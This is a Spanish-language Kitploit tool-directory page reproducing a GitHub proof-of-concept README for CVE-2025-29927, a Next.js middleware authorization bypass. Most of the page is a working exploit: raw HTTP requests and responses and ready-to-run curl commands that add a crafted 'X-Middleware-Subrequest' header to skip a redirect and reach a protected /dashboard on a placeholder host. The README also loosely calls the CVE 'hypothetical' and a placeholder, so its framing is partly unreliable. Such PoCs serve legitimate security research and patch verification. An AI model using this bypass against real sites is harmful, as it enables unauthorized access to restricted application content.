Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-29927-POC — Omisión de autorización en Next.js Middleware | Kitploit
Herramientas/GitHubGitHub/muhammadwaseem29/cve-2025-29927-poc
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHubmuhammadwaseem29/cve-2025-29927-poc

CVE-2025-29927-POC

Omisión de autorización en Next.js Middleware

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver RepositorioSitio web
933hace 1 añoAún no revisado

CVE-2025-29927-POC

Introducción

Este repositorio contiene una Prueba de Concepto (PoC) para CVE-2025-29927, una vulnerabilidad hipotética que demuestra una falla en el manejo de middleware dentro de una aplicación web. La PoC ilustra cómo una solicitud HTTP especialmente manipulada puede eludir la lógica de redirección para acceder a contenido restringido, como un panel de control. Este proyecto está diseñado únicamente con fines educativos y de investigación en seguridad.

Aviso legal: Esta PoC está destinada a usarse en entornos controlados con permiso explícito. Realizar pruebas no autorizadas contra sistemas que no poseas o para los cuales no tengas consentimiento es ilegal y poco ético.


Tabla de contenido

  • Requisitos previos
  • Resumen de la vulnerabilidad
  • Pasos de la prueba de concepto
    • Paso 1: Solicitud inicial (sin éxito)
    • Paso 2: Solicitud modificada (exitosa)
  • Cómo replicar
  • Referencias
  • Contribuciones
  • Licencia

Requisitos previos

Para seguir esta PoC, necesitarás:

  • Un servidor objetivo (por ejemplo, abc.com) que ejecute una configuración vulnerable (software/versión específica por determinar según los detalles de la CVE).
  • Una herramienta cliente HTTP como curl (curl.se), Burp Suite (portswigger.net/burp) o un script personalizado.
  • Conocimientos básicos de protocolos y cabeceras HTTP (consulta Documentación HTTP de MDN).

Resumen de la vulnerabilidad

CVE-2025-29927 (marcador de posición; reemplazar con los detalles oficiales de la CVE cuando estén disponibles) parece explotar una mala configuración del middleware o una falla lógica. La PoC demuestra que agregar una cabecera personalizada (X-Middleware-Subrequest) altera el comportamiento del servidor, eludiendo un mecanismo de redirección para acceder a contenido restringido. Esto probablemente se relaciona con cómo el middleware (por ejemplo, Nginx con Next.js) procesa sub-solicitudes o valida cabeceras.

Para obtener más información sobre vulnerabilidades de middleware, consulta Seguridad de Middleware de OWASP.


Pasos de la prueba de concepto

La PoC consta de dos pasos: una solicitud inicial sin éxito y una solicitud modificada exitosa. Cada paso incluye la solicitud HTTP, la respuesta y una explicación detallada.

Paso 1: Solicitud inicial (sin éxito)

Este paso demuestra el comportamiento predeterminado del servidor al acceder al endpoint /dashboard sin cabeceras adicionales.

Solicitud HTTP

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Respuesta HTTP

root@kitploit:~
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

imagen

Explicación

  • Detalles de la solicitud:
    • GET /dashboard: Intenta acceder al endpoint del panel de control.
    • Las cabeceras estándar como User-Agent y Accept imitan una solicitud típica de navegador.
  • Detalles de la respuesta:
    • 307 Temporary Redirect: Indica que el servidor redirige al cliente, probablemente debido a lógica de autenticación, autorización o enrutamiento (por ejemplo, redirigiendo a una página de inicio de sesión).
    • Server: nginx/1.14.1: Identifica el software del servidor web.
  • Análisis: La redirección sugiere un mecanismo de protección que impide el acceso directo a /dashboard. La ausencia de una cabecera Location en esta respuesta (posiblemente omitida por brevedad) implica que el destino de la redirección está en otro lugar.
  • Referencia: Obtén más información sobre los códigos de estado HTTP en Estado HTTP de MDN.

Paso 2: Solicitud modificada (exitosa)

Este paso introduce una cabecera personalizada para eludir la redirección y recuperar con éxito el contenido del panel de control.

Solicitud HTTP

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Respuesta HTTP

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

imagen

Explicación

  • Detalles de la solicitud:
    • X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: Una cabecera personalizada agregada a la solicitud original. La cadena repetida middleware podría explotar una falla de análisis o validación en la pila de middleware.
    • El resto de cabeceras permanecen sin cambios con respecto al Paso 1.
  • Detalles de la respuesta:
    • 200 OK: Confirma el acceso exitoso al contenido del panel de control.
    • Content-Type: text/html; charset=utf-8: Indica una respuesta HTML, probablemente la página del panel.
    • X-Powered-By: Next.js: Sugiere que la aplicación utiliza Next.js, un framework de React que a menudo depende del middleware para el enrutamiento.
    • Cache-Control: Evita el almacenamiento en caché, típico de contenido dinámico específico del usuario.
    • Content-Length: 30174: Tamaño del cuerpo de la respuesta en bytes.
  • Análisis: La cabecera X-Middleware-Subrequest probablemente engaña al middleware para que trate la solicitud como una sub-solicitud legítima, eludiendo la lógica de redirección. Esto podría indicar una vulnerabilidad en cómo se validan o procesan las sub-solicitudes.
  • : Explora el middleware de Next.js en .

Cómo replicar

Sigue estos pasos para replicar la PoC usando curl:

Paso 1: Enviar la solicitud inicial

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Salida esperada: Una respuesta 307 Temporary Redirect.

Paso 2: Enviar la solicitud modificada

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Salida esperada: Una respuesta 200 OK con el contenido del panel de control.

Nota: Reemplaza abc.com con el dominio objetivo real si realizas pruebas en un entorno autorizado.


Referencias

  • Detalles de CVE - Base de datos oficial de CVE (actualiza con el enlace específico de la CVE cuando esté disponible).
  • Documentación HTTP de MDN - Conceptos básicos del protocolo HTTP.
  • Middleware de Next.js - Información sobre el comportamiento del middleware de Next.js.
  • Seguridad de Middleware de OWASP - Resumen de vulnerabilidades de middleware.
  • Manual de curl - Guía para usar curl en solicitudes HTTP.

Licencia

Este proyecto está licenciado bajo la Licencia MIT. Consulta el archivo LICENSE para obtener más detalles.

Descargar herramienta
Referencia
Documentación de Next.js